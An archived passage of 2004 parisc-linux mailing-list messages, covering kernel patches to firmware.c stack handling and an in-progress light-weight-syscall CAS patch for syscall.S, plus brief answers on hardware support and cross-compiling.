	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30998-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 22:50:34 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 704E23BE3D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jul 2004 22:50:34 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Br8Ir-0001Cf-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 01 Aug 2004 00:50:33 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21842


pa,

Stop defining variables after code, and make sure that two externs don't
reference the same variable with different types. Comments?

Index: arch/parisc/kernel/firmware.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/firmware.c,v
retrieving revision 1.10
diff -u -p -r1.10 firmware.c
--- arch/parisc/kernel/firmware.c	10 Jul 2004 21:20:47 -0000	1.10
+++ arch/parisc/kernel/firmware.c	1 Aug 2004 04:24:15 -0000
@@ -237,11 +237,11 @@ int __init pdc_chassis_info(struct pdc_c
 #ifdef __LP64__
 int pdc_pat_chassis_send_log(unsigned long state, unsigned long data)
 {
+	int retval = 0;
+        
 	if (!is_pdc_pat())
 		return -1;
 
-	int retval = 0;
-
 	spin_lock_irq(&pdc_lock);
 	retval = mem_pdc_call(PDC_PAT_CHASSIS_LOG, PDC_PAT_CHASSIS_WRITE_LOG, __pa(&state), __pa(&data));
 	spin_unlock_irq(&pdc_lock);
@@ -1195,7 +1195,32 @@ int pdc_pat_io_pci_cfg_write(unsigned lo
 #endif /* __LP64__ */
 
 
-/***************** 32-bit real-mode calls ***********/
+/***************** 32-bit and 64-bit real-mode calls ***********/
+
+#ifdef __LP64__
+/* The structure below is the wide 64-bit stack view */
+
+struct wide_stack {
+	unsigned long arg0;
+	unsigned long arg1;
+	unsigned long arg2;
+	unsigned long arg3;
+	unsigned long arg4;
+	unsigned long arg5;
+	unsigned long arg6;
+	unsigned long arg7;
+	unsigned long arg8;
+	unsigned long arg9;
+	unsigned long arg10;
+	unsigned long arg11;
+	unsigned long arg12;
+	unsigned long arg13;
+	unsigned long frame_marker[2];	/* rp, previous sp */
+	unsigned long sp;
+	/* in reality, there's nearly 8k of stack after this */
+};
+#endif /* __LP64__ */
+
 /* The struct below is used
  * to overlay real_stack (real2.S), preparing a 32-bit call frame.
  * real32_call_asm() then uses this stack in narrow real mode
@@ -1225,53 +1250,42 @@ struct narrow_stack {
 long real32_call(unsigned long fn, ...)
 {
 	va_list args;
+#ifdef __LP64__
+        /* If we have a 64-bit kernel reference the stack as
+           such, but cast down to a 32-bit structure if
+           required. */
+	extern struct wide_stack real_stack;
+#else
 	extern struct narrow_stack real_stack;
+#endif
+        
+	struct narrow_stack * real32_stack;
 	extern unsigned long real32_call_asm(unsigned int *,
 					     unsigned int *, 
 					     unsigned int);
 	
+        real32_stack = (struct narrow_stack *)&real_stack;
 	va_start(args, fn);
-	real_stack.arg0 = va_arg(args, unsigned int);
-	real_stack.arg1 = va_arg(args, unsigned int);
-	real_stack.arg2 = va_arg(args, unsigned int);
-	real_stack.arg3 = va_arg(args, unsigned int);
-	real_stack.arg4 = va_arg(args, unsigned int);
-	real_stack.arg5 = va_arg(args, unsigned int);
-	real_stack.arg6 = va_arg(args, unsigned int);
-	real_stack.arg7 = va_arg(args, unsigned int);
-	real_stack.arg8 = va_arg(args, unsigned int);
-	real_stack.arg9 = va_arg(args, unsigned int);
-	real_stack.arg10 = va_arg(args, unsigned int);
-	real_stack.arg11 = va_arg(args, unsigned int);
-	real_stack.arg12 = va_arg(args, unsigned int);
-	real_stack.arg13 = va_arg(args, unsigned int);
+	real32_stack->arg0 = va_arg(args, unsigned int);
+	real32_stack->arg1 = va_arg(args, unsigned int);
+	real32_stack->arg2 = va_arg(args, unsigned int);
+	real32_stack->arg3 = va_arg(args, unsigned int);
+	real32_stack->arg4 = va_arg(args, unsigned int);
+	real32_stack->arg5 = va_arg(args, unsigned int);
+	real32_stack->arg6 = va_arg(args, unsigned int);
+	real32_stack->arg7 = va_arg(args, unsigned int);
+	real32_stack->arg8 = va_arg(args, unsigned int);
+	real32_stack->arg9 = va_arg(args, unsigned int);
+	real32_stack->arg10 = va_arg(args, unsigned int);
+	real32_stack->arg11 = va_arg(args, unsigned int);
+	real32_stack->arg12 = va_arg(args, unsigned int);
+	real32_stack->arg13 = va_arg(args, unsigned int);
 	va_end(args);
 	
-	return real32_call_asm(&real_stack.sp, &real_stack.arg0, fn);
+	return real32_call_asm(&real32_stack->sp, &real32_stack->arg0, fn);
 }
 
 #ifdef __LP64__
-/***************** 64-bit real-mode calls ***********/

From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] H40-H50
Date: Fri, 23 Jul 2004 13:31:37 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20040723123137.GA22927@parcelfarce.linux.theplanet.co.uk>
References: <20040722044237.2ef0b3d6@fork.ketic.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623511 10309 80.91.229.3 (22 Nov 2014 02:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: backblue <backblue@netcabo.pt>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22248 invoked by uid 65534); 23 Jul 2004 12:32:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 23 Jul 2004 14:32:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1FE493BE4F; Fri, 23 Jul 2004 06:32:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21699-01; Fri, 23 Jul 2004 06:32:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D43143BE3F; Fri, 23 Jul 2004 06:31:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C4933BE37
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 06:31:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16789-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 06:31:40 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 92A0C3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jul 2004 06:31:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BnzD8-00064x-1i; Fri, 23 Jul 2004 13:31:38 +0100
Content-Disposition: inline
In-Reply-To: <20040722044237.2ef0b3d6@fork.ketic.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21843

On Thu, Jul 22, 2004 at 04:42:37AM +0100, backblue wrote:
> Hi, i have a H40 and a H50 rack mounted machines, with mutiple scsi
> array discs, i want to put linux on one of the machines, does one of
> them it's suported here? does any linux suport this?

Not in any useful way, I'm afraid.  We don't support the LAN or SCSI
devices in this machine.  We have support for the console, but that's not
much use to you by itself.  Basically, Linux will boot and could run out
of a ramdisc, but not communicate through anything other than console.
Sorry.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: i386-linux -> hppa-hpux cross-compiler
Date: Sun, 25 Jul 2004 21:02:11 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20040725200211.GA12070@parcelfarce.linux.theplanet.co.uk>
References: <20040725133338.A20781@tuphaan.engr.wichita.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623511 10310 80.91.229.3 (22 Nov 2014 02:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ivan Petrovich <laveer@tuphaan.engr.wichita.edu>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18810 invoked by uid 65534); 25 Jul 2004 20:03:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 25 Jul 2004 22:03:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3D63F3BE0A; Sun, 25 Jul 2004 14:02:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16425-05; Sun, 25 Jul 2004 14:02:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E03973BDD6; Sun, 25 Jul 2004 14:02:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C9B3BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:02:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16425-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:02:16 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id D28C13BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:02:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BopCG-0004QS-CP; Sun, 25 Jul 2004 21:02:12 +0100
Content-Disposition: inline
In-Reply-To: <20040725133338.A20781@tuphaan.engr.wichita.edu>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21844

On Sun, Jul 25, 2004 at 01:33:38PM -0500, Ivan Petrovich wrote:
> This is not a parisc-linux question, though it is somewhat related.
> I am trying to build a i386-linux to hppa-hpux (not hppa-linux)
> cross-compiler. I have read the parisc-linux FAQ, but found it to not
> be useful for my application.

For the linker, you'll need the hpux linker which was ported in the early
days of the port.  Try http://cvs.parisc-linux.org/obsolete/linker/ but
be warned nobody's touched it for a number of years.  You may also wish
to review old postings to this list (say, 1999/2000) before we ported
the kernel to be ELF.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Reorder compat structure placement and
	casting (firmware.c)?
Date: Thu, 5 Aug 2004 00:06:00 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20040805040600.GA21912@baldric.uwo.ca>
References: <20040801045032.GE31520@baldric.uwo.ca>
	<20040802052751.GD20904@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623512 10313 80.91.229.3 (22 Nov 2014 02:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2453 invoked by uid 65534); 5 Aug 2004 04:06:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 05 Aug 2004 06:06:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AAB0F3BDEA; Wed,  4 Aug 2004 22:06:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16266-08; Wed, 4 Aug 2004 22:06:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5C1C53BDE2; Wed,  4 Aug 2004 22:06:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 748E83BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Aug 2004 22:06:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16266-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 4 Aug 2004 22:06:04 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3ABC43BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  4 Aug 2004 22:06:04 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BsZVw-00061J-00; Thu, 05 Aug 2004 00:06:00 -0400
Content-Disposition: inline
In-Reply-To: <20040802052751.GD20904@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (70% Sync Ratio [=======...])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21845

On Sun, Aug 01, 2004 at 11:27:51PM -0600, Grant Grundler wrote:
> On Sun, Aug 01, 2004 at 12:50:32AM -0400, Carlos O'Donell wrote:
> > +#ifdef __LP64__
> > +        /* If we have a 64-bit kernel reference the stack as
> > +           such, but cast down to a 32-bit structure if
> > +           required. */
> > +	extern struct wide_stack real_stack;
> > +#else
> >  	extern struct narrow_stack real_stack;
> > +#endif
> 
> This is the bit I don't think will work.

Why not? In a wide kernel we only ever declare "extern struct wide_stack
real_stack" and then if we need a narrow stack we cast the pointer. It's
just a label to 8192 bytes declared in real2.S.

 
> > +        real32_stack = (struct narrow_stack *)&real_stack;
> 
> Apologies - this is probbaly the right way to alias/union
> the same address. I just overlooked it before.

The problem is that we can't have two externs declare the same variable
with different storage types. So in wide kernels we make gcc think it's
pointing to a wide_stack, and cast about as neccessary. I coded it such
that the fallback case should optimize away.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa light-weight-syscall CAS working! or "The
	meaning of probew"
Date: Thu, 5 Aug 2004 02:20:00 -0400
Lines: 421
Approved: news@gmane.org
Message-ID: <20040805062000.GA24775@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623512 10317 80.91.229.3 (22 Nov 2014 02:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:52 +0000 (UTC)
Cc: LaMont Jones <lamont@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21284 invoked by uid 65534); 5 Aug 2004 06:20:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 05 Aug 2004 08:20:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F9253BE86; Thu,  5 Aug 2004 00:20:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18690-03; Thu, 5 Aug 2004 00:20:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A18B33BE07; Thu,  5 Aug 2004 00:20:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B07153BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 00:20:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17425-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Aug 2004 00:20:02 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3514E3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Aug 2004 00:20:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Bsbbc-0006WM-00; Thu, 05 Aug 2004 02:20:00 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21846


pa,

Success. LWS CAS is working, but don't do anything naughty or it
crashes. I'm trying to determine why I get an HPMC when I probew an
address that probably has no mapping? It should be nullifying the insn
in question and returning zero?

Here is an updated working patch for light-weight-syscalls. The todo
list includes:

Things I still have to fix:
- User passes in a bogus address.
        = Unaligned? No mapping exists?
        = probew crashes the kernel in the latter (HPMC).
- User can read to address, but not write.
        = probew crashes the kernel.
- Take a tlb miss during the main CAS operation.
        = Need to add the load to the exceptions list
        = and work out a method where I can wait for the
        = page to migrate back from swap->memory->cache
        = and then try again. In the mean time I can't take
        = a signal or be scheduled off that CPU. I plan to do
        = the later by making sure that the return path back
        = from the scheduler double checks the return priority
        = and if it's not user priority it shouldn't be sending
        = pending signals.
- SMP locking is untested.
- Add more test cases to userspace tester.
                                                                                                 
Things to optimize:
- Remove some jumps
- Don't shuffle around the space registers so much.
- Ask smarter people to optimize the insn sequences.

I'm timing the lws calls and on a 712/100 it's pipelined and read from
the cache, so cr16 doesn't even register a single click for the lws :)

Any input would be much appreciated! Lamont you've always been a great
source of insightful information when it comes to low level coding!

Cheers,
Carlos.

Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.12
diff -u -p -r1.12 syscall.S
--- arch/parisc/kernel/syscall.S	26 Apr 2004 15:57:53 -0000	1.12
+++ arch/parisc/kernel/syscall.S	5 Aug 2004 06:00:21 -0000
@@ -16,6 +16,8 @@
 #include <asm/assembly.h>
 #include <asm/processor.h>
 
+#include <linux/config.h> /* for CONFIG_SMP */
+
 #ifdef __LP64__
 	.level          2.0w
 #else
@@ -38,21 +40,56 @@
 	.align 4096
 linux_gateway_page:
 
-	.rept 56
+        /* ADDRESS 0x00 to 0xb0 = 176 bytes / 4 bytes per insn = 44 insns */
+	.rept 44
 	break   0,0
 	.endr
 
+        /* ADDRESS 0xb0 to 0xd8, lws uses 2 insns for entry */
+        /* Light-weight-syscall entry must always be located at 0xb0 
+
+                r20 - lws number
+                r26,r25,r24,r23,r22 - Input registers
+                r28,r21 - Return register
+
+                Scracth: r1, r28, r21
+
+                Return pointer: r31 (Not usable)
+         */
+
+/* WARNING: Keep this number updated with table size changes */
+#define __NR_lws_entries (2)
+#define __lws_size (lws_end_table - lws_table)
+#if defined(__LP64__)
+#  define LWS_ENTRY(_name_) .dword lws_##_name_
+#else
+#  define LWS_ENTRY(_name_) .word lws_##_name_
+#endif
+
+lws_entry:
+        b lws_start
+        nop
+
+        /* Fill from 0xb8 to 0xe0 */
+        .rept 10
+        break   0,0
+        .endr
+
+        /* This function MUST be located at 0xe0 for glibc's threading 
+           mechanism to work. DO NOT MOVE THIS CODE EVER! */
 set_thread_pointer:
 	gate	.+8, %r0		/* increase privilege */
 	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 	be	0(%sr7,%r31)		/* return to user space */
